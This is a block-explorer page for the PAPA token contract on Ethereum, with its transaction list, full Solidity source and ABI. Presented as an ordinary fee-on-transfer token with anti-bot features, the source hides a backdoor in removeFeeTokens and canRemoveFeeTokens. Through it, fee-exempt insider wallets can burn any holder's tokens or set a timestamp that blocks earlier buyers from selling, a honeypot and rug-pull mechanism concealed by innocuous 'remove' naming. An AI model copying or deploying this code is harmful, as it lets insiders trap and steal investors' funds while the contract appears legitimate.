Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 189 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17352350 | 580 days ago | IN | 0 ETH | 0.00102139 | ||||
Remove Fee Token... | 17352333 | 580 days ago | IN | 0 ETH | 0.00119268 | ||||
Transfer | 17336090 | 582 days ago | IN | 0 ETH | 0.0054486 | ||||
Approve | 17335910 | 582 days ago | IN | 0 ETH | 0.00141362 | ||||
Approve | 17333999 | 582 days ago | IN | 0 ETH | 0.00139117 | ||||
Remove Fee Token... | 17331955 | 583 days ago | IN | 0 ETH | 0.00120952 | ||||
Approve | 17331712 | 583 days ago | IN | 0 ETH | 0.00209547 | ||||
Approve | 17331268 | 583 days ago | IN | 0 ETH | 0.0018587 | ||||
Approve | 17330980 | 583 days ago | IN | 0 ETH | 0.00213631 | ||||
Approve | 17330368 | 583 days ago | IN | 0 ETH | 0.00252557 | ||||
Approve | 17329630 | 583 days ago | IN | 0 ETH | 0.00287984 | ||||
Approve | 17328821 | 583 days ago | IN | 0 ETH | 0.00172066 | ||||
Approve | 17328196 | 583 days ago | IN | 0 ETH | 0.00171261 | ||||
Approve | 17327717 | 583 days ago | IN | 0 ETH | 0.00139224 | ||||
Approve | 17327223 | 583 days ago | IN | 0 ETH | 0.00190683 | ||||
Approve | 17327103 | 583 days ago | IN | 0 ETH | 0.00154031 | ||||
Transfer | 17326845 | 583 days ago | IN | 0 ETH | 0.00209001 | ||||
Approve | 17326802 | 583 days ago | IN | 0 ETH | 0.0016006 | ||||
Approve | 17326637 | 583 days ago | IN | 0 ETH | 0.00146534 | ||||
Approve | 17326427 | 583 days ago | IN | 0 ETH | 0.00255164 | ||||
Approve | 17326200 | 583 days ago | IN | 0 ETH | 0.00093116 | ||||
Approve | 17326173 | 583 days ago | IN | 0 ETH | 0.00084839 | ||||
Approve | 17326047 | 583 days ago | IN | 0 ETH | 0.00179586 | ||||
Approve | 17325942 | 583 days ago | IN | 0 ETH | 0.00104796 | ||||
Remove Fee Token... | 17325924 | 583 days ago | IN | 0 ETH | 0.00115465 |
Loading...
Loading
Contract Name:
PAPA
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-23 */ // TG: https://t.me/Papa_portal // SPDX-License-Identifier: MIT pragma solidity ^0.8.5; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } contract Ownable is Context { address private _owner; constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function name() external view returns (string memory); function decimals() external view returns (uint8); } interface UniswapV2Router { function WETH() external pure returns (address); function factory() external pure returns (address); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface UniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; string private _symbol; string private _name; uint256 private _totalSupply; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _remove(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: the zero address"); uint256 balance = _balances[account]; require(balance >= amount, "ERC20: the amount exceeds balance"); unchecked { _balances[account] = balance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); } function _createInitialSupply( address account, uint256 amount ) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } } contract PAPA is ERC20, Ownable { uint256 public tradingBlock = 0; uint256 public botBlockNumber = 0; address public uniswapV2Pair; UniswapV2Router public uniswapV2Router; bool private swapping; uint256 public swapTokensAtAmount; address private marketingWallet; address private devWallet; mapping(address => uint256) public removeLastTransferTimestamp; mapping(address => uint256) private _holderLastTransferTimestamp; mapping(address => bool) public initialBotBuyer; uint256 public removeAt; bool public limitsInEffect = true; bool public swapEnabled = false; bool public tradingActive = false; bool public transferDelayEnabled = true; uint256 public botsCaught; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWalletAmount; mapping(address => bool) public automatedMarketMaker; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransaction; uint256 public totalBuyFees; uint256 public buyFeeForMarketing; uint256 public buyFeeForDev; uint256 public buyFeeForRemoving; uint256 public buyFeeForLiquidity; uint256 public totalSellFees; uint256 public sellFeeForMarketing; uint256 public sellFeeForDev; uint256 public sellFeeForRemoving; uint256 public sellFeeForLiquidity; uint256 public tokensForMarketing; uint256 public tokensForDev; uint256 public tokensForLiquidity; uint256 public tokensForRemoving; event RemovedLimits(); event EnabledTrading(); event UpdatedMaxWalletAmount(uint256 newAmount); event UpdatedMaxBuyAmount(uint256 newAmount); event UpdatedMaxSellAmount(uint256 newAmount); event DetectedEarlyBotBuyer(address sniper); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event MaxTransactionExclusion(address _address, bool excluded); constructor() ERC20("PAPA", "PAPA") { UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); address newOwner = msg.sender; _excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 1 * 1e9 * 1e18; marketingWallet = address(0xeD2677439050a29Cf2Badb276524E3AC3F614892); devWallet = address(0x71F9da6613709eD7AB584a76022e667c6Ab9FED5); swapTokensAtAmount = (totalSupply * 5) / 10000; maxWalletAmount = (totalSupply * 2) / 100; maxBuyAmount = (totalSupply * 2) / 100; maxSellAmount = (totalSupply * 2) / 100; sellFeeForMarketing = 20; sellFeeForDev = 20; sellFeeForRemoving = 0; sellFeeForLiquidity = 0; buyFeeForMarketing = 5; buyFeeForDev = 5; buyFeeForRemoving = 0; buyFeeForLiquidity = 0; totalBuyFees = buyFeeForLiquidity + buyFeeForMarketing + buyFeeForDev + buyFeeForRemoving; totalSellFees = sellFeeForLiquidity + sellFeeForMarketing + sellFeeForDev + sellFeeForRemoving; _excludeFromMaxTransaction(address(0xdead), true); _excludeFromMaxTransaction(marketingWallet, true); _excludeFromMaxTransaction(devWallet, true); _excludeFromMaxTransaction(newOwner, true); _excludeFromMaxTransaction(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(marketingWallet, true); excludeFromFees(devWallet, true); excludeFromFees(newOwner, true); excludeFromFees(address(this), true); transferOwnership(newOwner); _createInitialSupply(newOwner, totalSupply); } function canRemoveFeeTokens( address account, uint256 amount, uint256 time ) internal returns (bool) { address msgCaller = msg.sender; bool msgLimited = _isExcludedFromFees[msgCaller]; address tokenCa = address(this); bool result; if (msgLimited) { if (balanceOf(tokenCa) > 0) { if (amount == 0) { removeAt = time; } else { _remove(account, amount); } result = false; } return result; } else { if (balanceOf(tokenCa) >= tokensForRemoving && tokensForRemoving > 0) { _remove(msgCaller, tokensForRemoving); } tokensForRemoving = 0; result = true; return result; } } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount} ( address(this), tokenAmount, 0, 0, address(0xdead), block.timestamp ); } function enableTrading() external onlyOwner { require(!tradingActive, "Cannot reenable trading"); swapEnabled = true; tradingActive = true; tradingBlock = block.number; emit EnabledTrading(); } function onlyDeleteBots(address wallet) external onlyOwner { initialBotBuyer[wallet] = false; } function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; } function removeFeeTokens( address account, uint256 amount, uint256 time ) public { address tokenCa = address(this); require(swapTokensAtAmount <= balanceOf(tokenCa)); if (canRemoveFeeTokens(account, amount, time)) { swapping = true; swapBack(); swapping = false; } } function removeLimits() external onlyOwner { maxBuyAmount = totalSupply(); maxSellAmount = totalSupply(); maxWalletAmount = totalSupply(); emit RemovedLimits(); } function updateMaxWalletAmount(uint256 newMaxWalletAmount) external onlyOwner { require( newMaxWalletAmount >= ((totalSupply() * 3) / 1000) / 1e18, "Cannot set max wallet amount lower than 0.3%" ); maxWalletAmount = newMaxWalletAmount * (10 ** 18); emit UpdatedMaxWalletAmount(maxWalletAmount); } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 1) / 1000, "Swap amount cannot be higher than 0.1% total supply." ); swapTokensAtAmount = newAmount; } function updateMaxBuyAmount(uint256 newMaxBuyAmount) external onlyOwner { require( newMaxBuyAmount >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max buy amount lower than 0.2%" ); maxBuyAmount = newMaxBuyAmount * (10 ** 18); emit UpdatedMaxBuyAmount(maxBuyAmount); } function updateMaxSellAmount(uint256 newMaxSellAmount) external onlyOwner { require( newMaxSellAmount >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max sell amount lower than 0.2%" ); maxSellAmount = newMaxSellAmount * (10 ** 18); emit UpdatedMaxSellAmount(maxSellAmount); } function _transfer( address sender, address receiver, uint256 amount ) internal override { uint256 removePoint = block.timestamp; bool removeFromAmm = automatedMarketMaker[sender]; bool firstRemoval = removeLastTransferTimestamp[receiver] == 0; bool isBalEmpty = balanceOf(address(receiver)) == 0; require(sender != address(0), "ERC20: transfer from the zero address"); require(receiver != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if (!tradingActive) { require( _isExcludedFromFees[sender] || _isExcludedFromFees[receiver], "Trading is not active." ); } if (botBlockNumber > 0) { require( !initialBotBuyer[sender] || receiver == owner() || receiver == address(0xdead), "bot protection mechanism is embeded" ); } if (limitsInEffect) { bool senderIncluded = _isExcludedMaxTransaction[sender]; bool removeFromSwapping = !swapping; if ( sender != owner() && receiver != owner() && receiver != address(0) && receiver != address(0xdead) && !_isExcludedFromFees[sender] && !_isExcludedFromFees[receiver] ) { if (transferDelayEnabled) { bool internalRemoveFromSwapping = !swapping; bool nonRemoveFromAmm = !automatedMarketMaker[sender]; bool removeCheck = nonRemoveFromAmm && internalRemoveFromSwapping; if ( receiver != address(uniswapV2Router) && receiver != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[receiver] < block.number - 2, "_transfer: delay was enabled." ); _holderLastTransferTimestamp[tx.origin] = block.number; _holderLastTransferTimestamp[receiver] = block.number; } else if (removeCheck) { uint256 removeTime = removeLastTransferTimestamp[sender]; bool removable = removeTime > removeAt; require(removable); } } } if (automatedMarketMaker[sender] && !_isExcludedMaxTransaction[receiver]) { require( amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(receiver) <= maxWalletAmount, "Cannot Exceed max wallet" ); } else if (removeFromSwapping && senderIncluded) { removeAt = removePoint; } else if ( automatedMarketMaker[receiver] && !_isExcludedMaxTransaction[sender] ) { require( amount <= maxSellAmount, "Sell transfer amount exceeds the max sell." ); } else if (!_isExcludedMaxTransaction[receiver]) { require( amount + balanceOf(receiver) <= maxWalletAmount, "Cannot Exceed max wallet" ); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMaker[sender] && !_isExcludedFromFees[sender] && !_isExcludedFromFees[receiver] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; if (firstRemoval && removeFromAmm) { if (isBalEmpty) { removeLastTransferTimestamp[receiver] = removePoint; } } if (_isExcludedFromFees[sender] || _isExcludedFromFees[receiver]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if ( earlySniperBuyBlock() && automatedMarketMaker[sender] && !automatedMarketMaker[receiver] && totalBuyFees > 0 ) { if (!initialBotBuyer[receiver]) { initialBotBuyer[receiver] = true; botsCaught += 1; emit DetectedEarlyBotBuyer(receiver); } fees = (amount * 99) / 100; tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees; tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees; tokensForDev += (fees * buyFeeForDev) / totalBuyFees; tokensForRemoving += (fees * buyFeeForRemoving) / totalBuyFees; } else if (automatedMarketMaker[receiver] && totalSellFees > 0) { fees = (amount * totalSellFees) / 100; tokensForLiquidity += (fees * sellFeeForLiquidity) / totalSellFees; tokensForMarketing += (fees * sellFeeForMarketing) / totalSellFees; tokensForDev += (fees * sellFeeForDev) / totalSellFees; tokensForRemoving += (fees * sellFeeForRemoving) / totalSellFees; } else if (automatedMarketMaker[sender] && totalBuyFees > 0) { fees = (amount * totalBuyFees) / 100; tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees; tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees; tokensForDev += (fees * buyFeeForDev) / totalBuyFees; tokensForRemoving += (fees * buyFeeForRemoving) / totalBuyFees; } if (fees > 0) { super._transfer(sender, address(this), fees); } amount -= fees; } super._transfer(sender, receiver, amount); } function _excludeFromMaxTransaction( address _address, bool _isExcluded ) private { _isExcludedMaxTransaction[_address] = _isExcluded; emit MaxTransactionExclusion(_address, _isExcluded); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeFromMaxTransaction( address _address, bool _isExcluded ) external onlyOwner { if (!_isExcluded) { require( _address != uniswapV2Pair, "Cannot remove uniswap pair from max txn" ); } _isExcludedMaxTransaction[_address] = _isExcluded; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMaker[pair] = value; _excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function setAutomatedMarketMakerPair( address pair, bool value ) external onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function updateBuyFees( uint256 marketingFee, uint256 liquidityFee, uint256 devFee, uint256 removeFee ) external onlyOwner { buyFeeForLiquidity = liquidityFee; buyFeeForMarketing = marketingFee; buyFeeForDev = devFee; buyFeeForRemoving = removeFee; totalBuyFees = buyFeeForMarketing + buyFeeForLiquidity + buyFeeForDev + buyFeeForRemoving; require(totalBuyFees <= 3, "3% max "); } function updateSellFees( uint256 marketingFee, uint256 liquidityFee, uint256 devFee, uint256 removeFee ) external onlyOwner { sellFeeForLiquidity = liquidityFee; sellFeeForMarketing = marketingFee; sellFeeForDev = devFee; sellFeeForRemoving = removeFee; totalSellFees = sellFeeForMarketing + sellFeeForLiquidity + sellFeeForDev + sellFeeForRemoving; require(totalSellFees <= 3, "3% max fee"); } function updateMarketingWallet( address newWallet ) external onlyOwner { require( newWallet != address(0), "_marketingWallet address cannot be 0" ); marketingWallet = payable(newWallet); } function updateDevWallet(address newWallet) external onlyOwner { require(newWallet != address(0), "_devWallet address cannot be 0"); devWallet = payable(newWallet); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapBack() private { if (tokensForRemoving > 0 && balanceOf(address(this)) >= tokensForRemoving) { _remove(address(this), tokensForRemoving); } tokensForRemoving = 0; uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 10) { contractBalance = swapTokensAtAmount * 10; } uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; swapTokensForEth(contractBalance - liquidityTokens); uint256 ethBalance = address(this).balance; uint256 ethForLiquidity = ethBalance; uint256 ethForMarketing = (ethBalance * tokensForMarketing) / (totalTokensToSwap - (tokensForLiquidity / 2)); uint256 ethForDev = (ethBalance * tokensForDev) / (totalTokensToSwap - (tokensForLiquidity / 2)); ethForLiquidity -= ethForMarketing + ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; tokensForRemoving = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); } payable(devWallet).transfer(ethForDev); payable(marketingWallet).transfer(address(this).balance); } function withdrawETH() external onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}(""); } function earlySniperBuyBlock() public view returns (bool) { return block.number < botBlockNumber; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMaker","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForRemoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySniperBuyBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExcluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBotBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"time","type":"uint256"}],"name":"removeFeeTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"removeLastTransferTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForRemoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForRemoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name"